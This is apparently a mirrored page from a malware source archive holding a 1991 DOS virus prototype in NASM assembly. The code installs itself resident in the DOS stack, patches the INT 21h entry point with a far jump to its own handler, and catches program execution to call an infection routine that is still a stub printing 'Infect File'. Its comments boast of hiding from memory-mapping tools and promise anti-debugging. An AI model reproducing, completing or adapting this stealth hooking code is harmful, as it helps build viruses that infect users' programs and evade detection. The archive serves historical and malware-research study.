mirror of
https://github.com/vxunderground/MalwareSourceCode
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175 lines
6.0 KiB
NASM
175 lines
6.0 KiB
NASM
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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;± ±
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;± V I R U S P R O T O T Y P E ±
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;± ±
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;± Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ±
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;± Date : 25 Jan 1991 21:05 ±
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;± Function : Found DOS stack in put himself in it. Then trace DOS ±
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;± function EXEC and type 'Infect File' ±
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;± ±
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;± ±
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;± If you want to have fun with this program just run file STACK.COM ±
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;± Don't worry, this is not a virus yet, just try to find him in memory ±
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;± with PCTools and/or MAPMEM. If you can -> just erase the source - it is ±
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;± useless for you. If you can't -> you don't have to look at it - it is too ±
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;± difficult to you to understand it. ±
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;± Best regards, Waleri Todorov ±
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;± ±
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;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
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mov ah,52h ; Get DOS segmenty
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int 21h
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cmp ax,1234h ; Also check for already here
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jne Install ; If not -> install in memory
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ReturnControl
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int 20h ; This program will give control
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; to main file
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Install
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mov ax,es ; mov DOS segment in AX
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mov DosSeg,ax ; Save DOS segment for further usage
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mov ds,ax ; DS now point in DOS segment
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call SearchDos ; Search DOS entry point
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call SearchStack ; Search DOS stack
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push cs ; DS=ES=CS
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push cs
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pop ds
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pop es
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mov ax,DosSeg ; get DOS segment in AX
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mov cl,4 ; AX*=16
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shl ax,cl
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mov bx,StackOff ; Stack new begin in BX
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and bx,0FFF0h ; Mask low 4 bit
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add ax,bx ; Compute new real address
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mov cl,4 ; AX/=16
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shr ax,cl ; Now we get SEGMENT:0000
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sub ax,10h ; Segment-=10-> SEG:100h
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mov StackOff,ax ; Save new segment for further usage
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mov es,ax ; ES point in DOS New area
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mov si,100h ; ES:DI -> DOS:free_space_in_stack
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mov di,si ; DS:SI Current segment
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mov cx,512d ; Virus is only 512 bytes long
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rep movsb ; Move virus to new place
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; Installing virus in DOS' stack we will avoid a conflict with PCTools,
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; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
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; affected, so if you have program, that count DOS' buffers to found
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; Beast666, she won't found anything.
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; In further release of full virus I will include anti-debugger system,
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; so you will not be able to trace virus
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mov di,DosOff ; ES:DI point to DOS int21 entry point
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mov ax,DosSeg
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mov es,ax
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mov al,0EAh ; JMP XXXX:YYYY
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stosb
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mov ax,offset Entry21
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stosw ; New 21 handler's offset
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mov ax,StackOff
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stosw ; New 21 handler's segment
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; Now DOS will make far jump to virus. In case that virus won't
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; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
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; and DOSEDIT will operate correctly (with several virus he don't).
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inc di
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inc di
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mov Int21off,di ; Virus will call DOS after jump
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jmp ReturnControl ; Return control to file
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; At this moment, return control is just terminate program via int 20h.
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; In further release of full virus this subroutine will be able to
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; return control to any file (COM or EXE).
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; These are two scanners subroutine. All they do are scanning DOS segment
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; for several well-known bytes. Then they update some iternal variables.
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; Be patience, when debug this area!
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SearchDos
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mov ax,cs:[DosSeg]
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mov ds,ax
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xor si,si
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Search1
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lodsw
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cmp ax,3A2Eh
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je NextDos1
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dec si
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jmp short Search1
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NextDos1
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lodsb
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cmp al,26h
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je LastDos
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sub si,2
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jmp short Search1
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LastDos
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inc si
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inc si
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lodsb
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cmp al,77h
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je FoundDos
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sub si,5
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jmp short Search1
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FoundDos
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inc si
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mov cs:[Int21off],si
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sub si,7
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mov cs:[DosOff],si
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ret
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SearchStack
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xor si,si
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Search2
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lodsw
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cmp ax,0CB8Ch
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je NextStack1
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dec si
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jmp short Search2
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NextStack1
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lodsw
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cmp ax,0D38Eh
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je NextStack2
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sub si,3
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jmp short Search2
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NextStack2
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lodsb
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cmp al,0BCh
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je FoundStack
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sub si,4
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jmp short Search2
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FoundStack
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mov di,si
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lodsw
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sub ax,200h
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stosw
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mov cs:[StackOff],ax
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ret
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Entry21 ; Here is new int 21 handler
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cmp ah,52h ; If GET_LIST_OF_LISTS
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jne NextCheck
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mov ax,1234h ; then probably I am here
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mov bx,cs:[DosSeg] ; so return special bytes in AX
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mov es,bx
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mov bx,26h
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iret ; Terminate AH=52h->return to caller
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NextCheck
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cmp ax,4B00h ; If EXEC file
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jne GoDos
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call Infect ; then file will be infected
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GoDos
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jmp dword ptr cs:[Int21off]
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; Otherwise jump to DOS
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Infect
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push ds ; At this moment just write on screen
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push dx
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push ax
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push cs
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pop ds
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mov dx,offset Txt
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mov ah,9
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CallDos
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pushf ; Call real DOS
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call dword ptr cs:[Int21off]
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pop ax
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pop dx
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pop ds
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ret
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Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus
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DosSeg dw 0 ; DOS segment
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StackOff dw 0 ; Offset of stack/New segment
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DosOff dw 0 ; Offset of DOS 21 BEFIRE jump
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Txt db 'Infect File$' ; Dummy text
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